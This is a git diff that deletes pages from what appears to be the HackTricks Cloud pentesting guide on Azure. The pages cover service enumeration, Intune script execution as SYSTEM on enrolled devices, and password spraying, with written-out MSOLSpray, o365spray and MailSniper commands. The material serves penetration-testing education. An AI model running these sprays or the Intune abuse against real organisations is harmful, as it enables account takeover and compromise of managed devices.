-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md b/pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md
deleted file mode 100644
index b2479b6bc..000000000
--- a/pentesting-cloud/azure-security/az-services/az-management-groups-subscriptions-and-resource-groups.md
+++ /dev/null
@@ -1,86 +0,0 @@
-# Az - Management Groups, Subscriptions & Resource Groups
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Management Groups
-
-You can find more info about Management Groups in:
-
-{% content-ref url="../az-basic-information/" %}
-[az-basic-information](../az-basic-information/)
-{% endcontent-ref %}
-
-### Enumeration
-
-```bash
-# List
-az account management-group list
-# Get details and management groups and subscriptions that are children
-az account management-group show --name <name> --expand --recurse
-```
-
-## Subscriptions
-
-You can find more info about Subscriptions in:
-
-{% content-ref url="../az-basic-information/" %}
-[az-basic-information](../az-basic-information/)
-{% endcontent-ref %}
-
-### Enumeration
-
-{% code overflow="wrap" %}
-```bash
-# List all subscriptions
-az account list --output table
-# Get details
-az account management-group subscription show --name <management group> --subscription <subscription>
-```
-{% endcode %}
-
-## Resource Groups
-
-You can find more info about Resource Groups in:
-
-{% content-ref url="../az-basic-information/" %}
-[az-basic-information](../az-basic-information/)
-{% endcontent-ref %}
-
-### Enumeration
-
-{% code overflow="wrap" %}
-```bash
-# List all resource groups
-az group list
-# Get resource groups of specific subscription
-az group list --subscription "<subscription>" --output table
-```
-{% endcode %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-services/az-queue-enum.md b/pentesting-cloud/azure-security/az-services/az-queue-enum.md
deleted file mode 100644
index 03b3918bc..000000000
--- a/pentesting-cloud/azure-security/az-services/az-queue-enum.md
+++ /dev/null
@@ -1,117 +0,0 @@
-# Az - Queue Storage
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-Azure Queue Storage is a service in Microsoft's Azure cloud platform designed for message queuing between application components, **enabling asynchronous communication and decoupling**. It allows you to store an unlimited number of messages, each up to 64 KB in size, and supports operations such as creating and deleting queues, adding, retrieving, updating, and deleting messages, as well as managing metadata and access policies. While it typically processes messages in a first-in-first-out (FIFO) manner, strict FIFO is not guaranteed.
-
-### Enumeration
-
-{% tabs %}
-{% tab title="Az Cli" %}
-```bash
-# You need to know the --account-name of the storage (az storage account list)
-az storage queue list --account-name <storage_account>
-
-# Queue Metadata
-az storage queue metadata show --name <queue_name> --account-name <storage_account>
-
-#Get ACL 
-az storage queue policy list --queue-name <queue_name> --account-name <storage_account>
-
-# Get Messages (getting a message deletes it)
-az storage message get --queue-name <queue_name> --account-name <storage_account>
-
-# Peek Messages
-az storage message peek --queue-name <queue_name> --account-name <storage_account>
-```
-{% endtab %}
-
-{% tab title="Az PS" %}
-```bash
-# Get the Storage Context
-$storageAccount = Get-AzStorageAccount -ResourceGroupName QueueResourceGroup -Name queuestorageaccount1994
-$ctx = $storageAccount.Context
-
-# Set Variables for Storage Account
-$storageAccountName = "queuestorageaccount"
-
-# List Queues
-Get-AzStorageQueue -Context $context
-$queueName = "myqueue"
-
-# Retrieve a specific queue
-$queue = Get-AzStorageQueue -Name $queueName -Context $context
-$queue # Show the properties of the queue
-
-# Retrieve the access policies for the queue
-$accessPolicies = Get-AzStorageQueueStoredAccessPolicy -Context $context -QueueName $queueName
-$accessPolicies
-
-# Peek Messages
-$queueMessage = $queue.QueueClient.PeekMessage()
-$queueMessage.Value
-
-# Set the amount of time you want to entry to be invisible after read from the queue
-# If it is not deleted by the end of this time, it will show up in the queue again
-$visibilityTimeout = [System.TimeSpan]::FromSeconds(10)
-
-# Read the messages from the queue, then show the contents of the messages.
-$queueMessage = $queue.QueueClient.ReceiveMessages(1,$visibilityTimeout)
-$queueMessage.Value
-```
-{% endtab %}
-{% endtabs %}
-
-### Privilege Escalation
-
-{% content-ref url="../az-privilege-escalation/az-queue-privesc.md" %}
-[az-queue-privesc.md](../az-privilege-escalation/az-queue-privesc.md)
-{% endcontent-ref %}
-
-### Post Exploitation
-
-{% content-ref url="../az-post-exploitation/az-queue-post-exploitation.md" %}
-[az-queue-post-exploitation.md](../az-post-exploitation/az-queue-post-exploitation.md)
-{% endcontent-ref %}
-
-### Persistence
-
-{% content-ref url="../az-persistence/az-queue-persistance.md" %}
-[az-queue-persistance.md](../az-persistence/az-queue-persistance.md)
-{% endcontent-ref %}
-
-## References
-
-* https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
-* https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
-* https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-services/az-table-storage.md b/pentesting-cloud/azure-security/az-services/az-table-storage.md
deleted file mode 100644
index 1b7b3e923..000000000
--- a/pentesting-cloud/azure-security/az-services/az-table-storage.md
+++ /dev/null
@@ -1,137 +0,0 @@
-# Az - Table Storage
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-**Azure Table Storage** is a NoSQL key-value store designed for storing large volumes of structured, non-relational data. It offers high availability, low latency, and scalability to handle large datasets efficiently. Data is organized into tables, with each entity identified by a partition key and row key, enabling fast lookups. It supports features like encryption at rest, role-based access control, and shared access signatures for secure, managed storage suitable for a wide range of applications.
-
-There **isn't built-in backup mechanism** for table storage.
-
-### Keys
-
-#### **PartitionKey**
-
-* The **PartitionKey groups entities into logical partitions**. Entities with the same PartitionKey are stored together, which improves query performance and scalability.
-* Example: In a table storing employee data, `PartitionKey` might represent a department, e.g., `"HR"` or `"IT"`.
-
-#### **RowKey**
-
-* The **RowKey is the unique identifier** for an entity within a partition. When combined with the PartitionKey, it ensures that each entity in the table has a globally unique identifier.
-* Example: For the `"HR"` partition, `RowKey` might be an employee ID, e.g., `"12345"`.
-
-#### **Other Properties (Custom Properties)**
-
-* Besides the PartitionKey and RowKey, an entity can have additional **custom properties to store data**. These are user-defined and act like columns in a traditional database.
-* Properties are stored as **key-value pairs**.
-* Example: `Name`, `Age`, `Title` could be custom properties for an employee.
-
-## Enumeration
-
-{% tabs %}
-{% tab title="az cli" %}
-{% code overflow="wrap" %}
-```bash
-# Get storage accounts
-az storage account list
-
-# List tables
-az storage table list --account-name <name>
-
-# Read table
-az storage entity query \
-  --account-name <name> \
-  --table-name <t-name> \
-  --top 10
-  
-# Write table
-az storage entity insert \
-  --account-name <STORAGE_ACCOUNT_NAME> \
-  --table-name <TABLE_NAME> \
-  --entity PartitionKey=<PARTITION_KEY> RowKey=<ROW_KEY> <PROPERTY_KEY>=<PROPERTY_VALUE>
-
-# Write example
-az storage entity insert \
-  --account-name mystorageaccount \
-  --table-name mytable \
-  --entity PartitionKey=HR RowKey=12345 Name="John Doe" Age=30 Title="Manager"
-
-# Update row
-az storage entity merge \
-  --account-name mystorageaccount \
-  --table-name mytable \
-  --entity PartitionKey=pk1 RowKey=rk1 Age=31
-```
-{% endcode %}
-{% endtab %}
-{% tab title="PowerShell" %}
-{% code overflow="wrap" %}
-```powershell
-# Get storage accounts
-Get-AzStorageAccount
-
-# List tables
-Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
-```
-{% endcode %}
-{% endtab %}
-{% endtabs %}
-
-{% hint style="info" %}
-By default `az` cli will use an account key to sign a key and perform the action. To use the Entra ID principal privileges use the parameters `--auth-mode login`.
-{% endhint %}
-
-{% hint style="success" %}
-Use the param `--account-key` to indicate the account key to use\
-Use the param `--sas-token` with the SAS token to access via a SAS token
-{% endhint %}
-
-## Privilege Escalation
-
-Same as storage privesc:
-
-{% content-ref url="../az-privilege-escalation/az-storage-privesc.md" %}
-[az-storage-privesc.md](../az-privilege-escalation/az-storage-privesc.md)
-{% endcontent-ref %}
-
-## Post Exploitation
-
-{% content-ref url="../az-post-exploitation/az-table-storage-post-exploitation.md" %}
-[az-table-storage-post-exploitation.md](../az-post-exploitation/az-table-storage-post-exploitation.md)
-{% endcontent-ref %}
-
-## Persistence
-
-Same as storage persistence:
-
-{% content-ref url="../az-persistence/az-storage-persistence.md" %}
-[az-storage-persistence.md](../az-persistence/az-storage-persistence.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-services/intune.md b/pentesting-cloud/azure-security/az-services/intune.md
deleted file mode 100644
index 1c5274e15..000000000
--- a/pentesting-cloud/azure-security/az-services/intune.md
+++ /dev/null
@@ -1,57 +0,0 @@
-# Az - Intune
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Basic Information
-
-Microsoft Intune is designed to streamline the process of **app and device management**. Its capabilities extend across a diverse range of devices, encompassing mobile devices, desktop computers, and virtual endpoints. The core functionality of Intune revolves around **managing user access and simplifying the administration of applications** and devices within an organization's network.
-
-## Cloud -> On-Prem
-
-A user with **Global Administrator** or **Intune Administrator** role can execute **PowerShell** scripts on any **enrolled Windows** device.\
-The **script** runs with **privileges** of **SYSTEM** on the device only once if it doesn't change, and from Intune it's **not possible to see the output** of the script.
-
-```powershell
-Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
-```
-
-1. Login into [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) or use Pass-The-PRT
-2. Go to **Devices** -> **All Devices** to check devices enrolled to Intune
-3. Go to **Scripts** and click on **Add** for Windows 10.
-4. Add a **Powershell script**
-   * ![](<../../../.gitbook/assets/image (264).png>)
-5. Specify **Add all users** and **Add all devices** in the **Assignments** page.
-
-The execution of the script can take up to **one hour**.
-
-## References
-
-* [https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune](https://learn.microsoft.com/en-us/mem/intune/fundamentals/what-is-intune)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md b/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md
deleted file mode 100644
index b48b2dcea..000000000
--- a/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# Az - Device Code Authentication Phishing
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-**Check:** [**https://o365blog.com/post/phishing/**](https://o365blog.com/post/phishing/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md b/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
deleted file mode 100644
index 2ffc070e9..000000000
--- a/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md
+++ /dev/null
@@ -1,61 +0,0 @@
-# Az - Password Spraying
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Password Spray
-
-In **Azure** this can be done against **different API endpoints** like Azure AD Graph, Microsoft Graph, Office 365 Reporting webservice, etc.
-
-However, note that this technique is **very noisy** and Blue Team can **easily catch it**. Moreover, **forced password complexity** and the use of **MFA** can make this technique kind of useless.
-
-You can perform a password spray attack with [**MSOLSpray**](https://github.com/dafthack/MSOLSpray)
-
-```powershell
-. .\MSOLSpray\MSOLSpray.ps1
-Invoke-MSOLSpray -UserList .\validemails.txt -Password Welcome2022! -Verbose
-```
-
-Or with [**o365spray**](https://github.com/0xZDH/o365spray)
-
-```bash
-python3 o365spray.py --spray -U validemails.txt -p 'Welcome2022!' --count 1 --lockout 1 --domain victim.com
-```
-
-Or with [**MailSniper**](https://github.com/dafthack/MailSniper)
-
-```powershell
-#OWA
-Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile owa-sprayed-creds.txt
-#EWS
-Invoke-PasswordSprayEWS -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Spring2021 -Threads 15 -OutFile sprayed-ews-creds.txt
-#Gmail
-Invoke-PasswordSprayGmail -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile gmail-sprayed-creds.txt
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md b/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
deleted file mode 100644
index 2d7ddc48f..000000000
--- a/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-vms-unath.md
+++ /dev/null
@@ -1,69 +0,0 @@
-# Az - VMs Unath
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Virtual Machines
-
-For more info about Azure Virtual Machines check:
-
-{% content-ref url="../az-services/vms/" %}
-[vms](../az-services/vms/)
-{% endcontent-ref %}
-
-### Exposed vulnerable service
-
-A network service that is vulnerable to some RCE.
-
-### Public Gallery Images
-
-A public image might have secrets inside of it:
-
-{% code overflow="wrap" %}
-```bash
-# List all community galleries
-az sig list-community --output table
-
-# Search by publisherUri
-az sig list-community --output json --query "[?communityMetadata.publisherUri=='https://3nets.io']"
-```
-{% endcode %}
-
-### Public Extensions
-
-This would be more weird but not impossible. A big company might put an extension with sensitive data inside of it:
-
-```bash
-# It takes some mins to run
-az vm extension image list --output table
-
-# Get extensions by publisher
-az vm extension image list --publisher "Site24x7" --output table
-```
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/digital-ocean-pentesting/README.md b/pentesting-cloud/digital-ocean-pentesting/README.md
deleted file mode 100644
index 66f82c478..000000000
--- a/pentesting-cloud/digital-ocean-pentesting/README.md
+++ /dev/null
@@ -1,67 +0,0 @@
-# Digital Ocean Pentesting
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
